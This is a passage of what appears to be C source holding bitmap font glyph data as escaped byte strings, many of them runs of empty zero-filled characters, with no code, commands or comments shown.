\"\\0\\0\\0\\0\\7\\375\\1\\1\\275\\35\\15\\375\\31\\21\\37\\0\\0\\0\\0\\0\\34\\27\\20\\20\\27\\27\\26\\27\\23\\21\\37\\0\"\n  \"\\0\\0\\0\\0\\7\\375\\1\\1\\275\\35\\15\\375\\31\\21\\37\\0\\0\\0\\0\\0\\34\\27\\20\\20\\27\\27\\36\\3\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\34\\6\\343\\271\\15\\305MYsa\\177\\300\\0\\0\\0\\1\\7\\14\\30\\23\\26\\25\\27\\33\\20\\20\\37\"\n  \"\\1\\0\\0\\0\\7\\375\\1\\1\\275\\247\\247\\275\\1\\1\\375\\7\\0\\0\\0\\0\\34\\27\\20\\20\\27\\34\\34\\27\\20\\20\\27\\34\"\n  \"\\0\\0\\0\\0\\7\\375\\1\\1\\375\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\27\\20\\20\\27\\34\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\200\\200\\207\\375\\1\\1\\375\\7\\0\\0\\0\\0\\0\\0\\17\\31\\20\\22\\27\\23\\20\\30\\17\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\7\\375\\1\\1\\235\\17g\\361\\231\\15\\5\\7\\0\\0\\0\\0\\34\\27\\20\\20\\27\\37\\36\\24\\21\\23\\26\\34\"\n  \"\\0\\0\\0\\0\\7\\375\\1\\1\\375\\5\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\27\\20\\20\\27\\24\\24\\24\\26\\23\\21\\37\"\n  \"\\0\\0\\0\\0\\7\\375\\1\\1\\361\\303\\16<\\16\\303\\361\\1\\1\\375\\7\\0\\34\\27\\20\\20\\27\\37\\3\\2\\3\\37\\27\\20\"\n  \"\\20\\27\\34\\0\\7\\375\\1\\1\\361\\307\\34\\177\\375\\1\\1\\375\\7\\0\\0\\0\\34\\27\\20\\20\\27\\37\\7\\34\\21\\20\\20\\27\"\n  \"\\34\\0\\0\\0\\360\\34\\6\\343\\271\\15\\5\\15\\271\\343\\6\\34\\360\\0\\0\\0\\1\\7\\14\\30\\23\\26\\24\\26\\23\\30\\14\\7\"\n  \"\\1\\0\\0\\0\\7\\375\\1\\1\\275\\245\\275\\231\\303f<\\0\\0\\0\\0\\0\\34\\27\\20\\20\\27\\34\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\34\\6\\343\\271\\15\\5\\15\\271\\343\\6\\34\\360\\0\\0\\0\\1\\7\\14\\30\\23\\66bFSX|\\7\"\n  \"\\1\\0\\0\\0\\7\\375\\1\\1\\275\\245\\275\\31C\\346\\274\\0\\0\\0\\0\\0\\34\\27\\20\\20\\27\\34\\35\\27\\20\\20\\27\\34\"\n  \"\\0\\0\\0\\0<f\\303\\331\\231\\275\\65m{\\321\\237\\0\\0\\0\\0\\0\\37\\21\\33\\26\\25\\27\\23\\23\\30\\14\\7\\0\"\n  \"\\0\\0\\0\\0\\37\\21\\31\\375\\1\\1\\375\\31\\21\\37\\0\\0\\0\\0\\0\\0\\0\\0\\34\\27\\20\\20\\27\\34\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\7\\375\\1\\1\\375\\7\\7\\375\\1\\375\\7\\0\\0\\0\\0\\0\\0\\17\\30\\20\\23\\26\\26\\23\\30\\17\\0\\0\"\n  \"\\0\\0\\0\\0\\7}\\301\\1=\\347\\347=\\301}\\7\\0\\0\\0\\0\\0\\0\\0\\3\\36\\20\\21\\21\\36\\3\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\7}\\301\\1=\\347=\\1\\1=\\347\\347=\\301}\\7\\0\\0\\3\\36\\20\\21\\20\\36\\36\\20\\21\\21\"\n  \"\\36\\3\\0\\0\\7\\15\\31\\261\\345O\\30\\30O\\345\\261\\31\\15\\7\\0\\0\\34\\26\\23\\21\\24\\36\\3\\3\\36\\24\\21\\23\"\n  \"\\26\\34\\0\\0\\7\\35q\\301\\215\\77\\77\\215\\301q\\35\\7\\0\\0\\0\\0\\0\\0\\0\\34\\27\\20\\20\\27\\34\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\37\\221\\331m\\65\\35\\215\\305a\\61\\37\\0\\0\\0\\0\\0\\37\\21\\20\\24\\26\\27\\25\\26\\23\\21\\37\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\36\\22\\22\\22\\22\\22\\22\\22\\22\\22\\36\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\340\\260\\220\\320\\320\\320\\320\\20\\60\\340\\0\\0\\0\\0\\0\\0\\17\\31\\20\\26\\26\\26\\22\\30\\20\\27\\34\\0\"\n  \"\\0\\0\\0\\0\\7\\375\\1\\1\\237\\320\\320\\220\\60`\\300\\0\\0\\0\\0\\0\\0\\37\\20\\20\\33\\26\\26\\23\\30\\14\\7\\0\"\n  \"\\0\\0\\0\\0\\300`\\60\\220\\320P\\320\\220\\260\\340\\0\\0\\0\\0\\0\\0\\7\\14\\30\\23\\26\\24\\26\\22\\32\\16\\0\\0\"\n  \"\\0\\0\\0\\0\\300`\\60\\220\\320\\327\\235\\1\\1\\377\\0\\0\\0\\0\\0\\0\\7\\14\\30\\23\\26\\26\\33\\20\\20\\27\\34\\0\"\n  \"\\0\\0\\0\\0\\300`\\60\\220\\320\\320\\320\\20\\60\\340\\0\\0\\0\\0\\0\\0\\7\\14\\30\\22\\26\\26\\26\\22\\33\\17\\0\\0\"\n  \"\\0\\0\\0\\0p\\336\\3\\1\\335]q\\23\\36\\0\\0\\0\\0\\0\\0\\0\\34\\27\\20\\20\\27\\34\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300`\\60\\220\\320P\\330\\210(h\\370\\0\\0\\0\\0\\0{N\\304\\231\\273\\252\\273\\225\\306N{\\0\"\n  \"\\0\\0\\0\\0\\7\\375\\1\\1\\277\\320\\320\\220\\60`\\300\\0\\0\\0\\0\\0\\34\\27\\20\\20\\27\\34\\34\\27\\20\\20\\27\\34\"\n  \"\\0\\0\\0\\0\\0\\376\\22\\22\\376\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\27\\20\\20\\27\\34\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\22\\22\\376\\0\\0\\0\\0\\0\\0\\0p\\320\\220\\260\\260\\237\\200\\300\\177\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\7\\375\\1\\1\\375\\367P\\220\\320Pp\\0\\0\\0\\0\\0\\34\\27\\20\\20\\25\\36\\36\\24\\21\\23\\26\\34\"\n  \"\\0\\0\\0\\0\\7\\375\\1\\1\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\27\\20\\20\\27\\34\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0p\\320\\20\\20\\260\\320\\20\\60\\220\\320\\20\\60\\340\\0\\0\\0\\34\\27\\20\\20\\27\\37\\20\\20\\27\\37\\20\\20\"\n  \"\\27\\34\\0\\0p\\320\\20\\20\\260\\320\\320\\20\\60\\340\\0\\0\\0\\0\\0\\0\\34\\27\\20\\20\\27\\34\\37\\20\\20\\27\\34\\0\"\n  \"\\0\\0\\0\\0\\300`\\60\\220\\320P\\320\\220\\60`\\300\\0\\0\\0\\0\\0\\7\\14\\30\\23\\26\\24\\26\\23\\30\\14\\7\\0\"\n  \"\\0\\0\\0\\0p\\320\\20\\20\\260\\320\\320\\220\\60`\\300\\0\\0\\0\\0\\0\\300\\177\\0\\0{\\326\\26\\23\\30\\14\\7\\0\"\n  \"\\0\\0\\0\\0\\300`\\60\\220\\320\\320\\260\\20\\20\\360\\0\\0\\0\\0\\0\\0\\7\\14\\30\\23\\26\\326{\\0\\0\\177\\300\\0\"\n  \"\\0\\0\\0\\0p\\320\\20\\20\\60\\220\\320\\320\\20\\60\\340\\0\\0\\0\\0\\0\\34\\27\\20\\20\\27\\35\\0\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\340\\60\\20P\\320\\320\\260\\20\\360\\0\\0\\0\\0\\0\\0\\0\\37\\21\\32\\26\\26\\24\\20\\31\\17\\0\\0\\0\"\n  \"\\0\\0\\0\\0p\\334\\6\\2\\336Pp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\30\\20\\27\\26\\32\\16\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0p\\320\\20\\20\\320pp\\320\\20\\20\\360\\0\\0\\0\\0\\0\\0\\17\\30\\20\\23\\26\\26\\33\\20\\20\\27\\34\"\n  \"\\0\\0\\0\\0p\\320\\220\\20P\\360\\360P\\20\\220\\320p\\0\\0\\0\\0\\0\\0\\3\\16\\30\\21\\21\\30\\16\\3\\0\\0\"\n  \"\\0\\0\\0\\0p\\320\\220\\20P\\360\\360P\\20\\20P\\360\\0\\360P\\220\\0\\0\\3\\16\\30\\21\\21\\30\\16\\16\\30\\21\"\n  \"\\27\\31\\16\\3pP\\320\\220\\20p\\300p\\20\\220\\320Pp\\0\\0\\0\\34\\24\\26\\23\\21\\34\\6\\34\\21\\23\\26\\24\"\n  \"\\34\\0\\0\\0p\\320\\220\\20P\\360\\200\\360\\320\\20\\320Pp\\0\\0\\0p\\320\\221\\263\\266\\234\\301c\\70\\16\\3\\0\"\n  \"\\0\\0\\0\\0\\360\\20\\220\\320\\320P\\20\\220\\320p\\0\\0\\0\\0\\0\\0\\35\\27\\23\\21\\24\\26\\27\\23\\21\\37\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\7\\204\\344\\77\\16CqqG\\34w\\304\\4\\7\\0\\34\\26\\23\\20\\24\\37\\1\\1\\1\\1\\37\\24\"\n  \"\\21\\27\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\34\\364\\4\\7uu\\66\\366gD|\\0\\0\\0\\0\\0\\34\\27\\20\\20\\27\\27\\26\\27\\23\\21\\37\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  